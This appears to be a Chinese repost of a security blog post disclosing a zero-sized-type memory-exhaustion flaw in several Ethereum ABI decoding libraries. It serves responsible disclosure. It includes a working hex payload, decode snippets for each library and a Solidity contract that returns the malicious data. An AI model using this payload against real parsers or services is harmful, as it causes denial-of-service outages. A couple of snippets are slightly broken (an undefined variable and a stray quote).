亿次空耗:以太坊ABI解析器中的零大小类型DoS漏洞分析

本文深入分析了以太坊ABI解析器中存在的零大小类型(ZST)拒绝服务漏洞,该漏洞影响多个主流库如eth_abi(Python)、ethabi(Rust)等,攻击者可通过构造特殊数据包导致内存耗尽。文章详细披露了漏洞原理、PoC验证过程和协调披露时间线。

亿次空耗 - The Trail of Bits博客

在以太坊强大的区块链技术背后,隐藏着一个开发者们较少提及的挑战:编写健壮的以太坊ABI(应用二进制接口)解析器的复杂性。以太坊ABI对区块链基础设施至关重要,它实现了智能合约与外部应用间的无缝交互。数据类型的复杂性和编解码的精确需求使得ABI解析充满挑战。规范或实现中的模糊性可能导致危及用户的漏洞。

本文将深入剖析一个新型漏洞,该漏洞针对这些解析器,令人联想到曾肆虐XML领域的"十亿大笑"攻击。我们发现以太坊ABI规范部分条款表述松散,导致多个实现存在可利用漏洞,包括eth_abi(Python)、ethabi(Rust)、alloy-rs和ethereumjs-abi等库,可能引发拒绝服务(DoS)攻击。截至发文时,仅Python库已完成修复。

什么是以太坊ABI?

当链上合约交互或链下组件与合约通信时,以太坊使用ABI编码来处理请求和响应。这种编码方式不自我描述,编解码器需要提供定义数据类型的模式。与C语言中平台相关的ABI不同,以太坊规范了应用间二进制数据的传递方式。虽然规范尚未正式化,但清晰展现了数据交换机制。

当前规范存在于Solidity文档中,其类型定义影响了Solidity和Vyper等智能合约语言。

漏洞原理

零大小类型(ZST)指在磁盘存储中占零(或极小)字节,但加载到内存后需要显著更多空间的数据类型。以太坊ABI允许ZST存在,攻击者可利用其特性,通过极小量的磁盘或网络数据诱发巨大的内存分配。

考虑以下场景:当解析器遇到ZST数组时会发生什么?它会尝试解析数组声明包含的所有ZST元素。由于每个元素占零字节,定义超大型ZST数组轻而易举。

示例显示:20字节的磁盘数据可反序列化为包含数字2、1、3的数组;而仅8字节的数据却能反序列化为2³²个ZST元素(如空元组或空数组)。如果每个ZST在解析后仍占零字节内存,这不成问题。但实践中,每个元素通常需要少量非零内存,导致整体数组需要巨大内存分配,形成DoS攻击。

概念验证

我们通过以下十六进制数据载荷演示多个库中的漏洞:

1
2
0000000000000000000000000000000000000000000000000000000000000020
00000000000000000000000000000000000000000000000000000000FFFFFFFF

该载荷包含两个32字节块,描述序列化的ZST数组。第一块定义数组元素偏移量,第二块定义数组长度。我们使用()[ ]uint32[0][]两种ABI模式进行解码测试。

eth_abi (Python)

1
2
3
from eth_abi import decode
data = bytearray.fromhex(payload)
decode(['()[]'], data)

4.2.0版本前的官方库会先挂起,最终因内存不足终止。

ethabi (Rust)

v18.0.0版本可通过CLI直接触发漏洞:

1
cargo run -- decode params -t "uint32[0][]" $payload

ethers-rs (Rust)

v2.0.10版本通过Vec<[u32; 0]>类型隐式使用漏洞模式:

1
2
3
use ethers::abi::AbiEncode;
let data = hex::decode(payload);
let _ = Vec::<[u32; 0]>::decode(&hex_output.unwrap()).unwrap();

foundry (Rust)

该工具集基于ethers-rs,同样存在漏洞。可通过CLI或部署恶意合约触发:

1
2
3
4
5
6
7
8
contract ABC {
    fallback() external {
        bytes memory data = abi.encode(0x20, 0xfffffffff);
        assembly {
            return(add(data, 0x20), mload(data))
        }
    }
}

alloy-rs

0.4.2版本的动态ABI解析同样存在挂起问题:

1
2
3
use alloy_dyn_abi::{DynSolType, DynSolValue};
let my_type: DynSolType = "()[]".parse().unwrap();
let decoded = my_type.abi_decode(&hex::decode($payload).unwrap()).unwrap();

ethereumjs-abi

0.6.8版本的JavaScript实现也受影响:

1
2
3
var abi = require('ethereumjs-abi')
data = Buffer.from($payload", "hex")
abi.rawDecode([ "uint32[]" ], data)

漏洞发现与利用

该漏洞的发现源于对borsh-rs库中类似问题的研究。最新版Solidity和Vyper已禁止ZST定义,因此难以在主网部署触发此漏洞的智能合约。但任何使用受影响库解析不可信ABI声明的应用(如Etherscan)都可能面临风险。

协调披露

我们遵循以下时间线进行披露:

  • 2023年6月30日:首次联系各库维护者
  • 2023年8月2日:为eth_abi创建GitHub安全公告
  • 2023年8月31日:eth_abi发布无公开说明的修复
  • 2023年12月29日:公开发布分析报告并创建GitHub问题

建议开发者通过模糊测试强化解码器安全性,我们正将相关测试用例纳入OSS-fuzz持续检测体系。

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计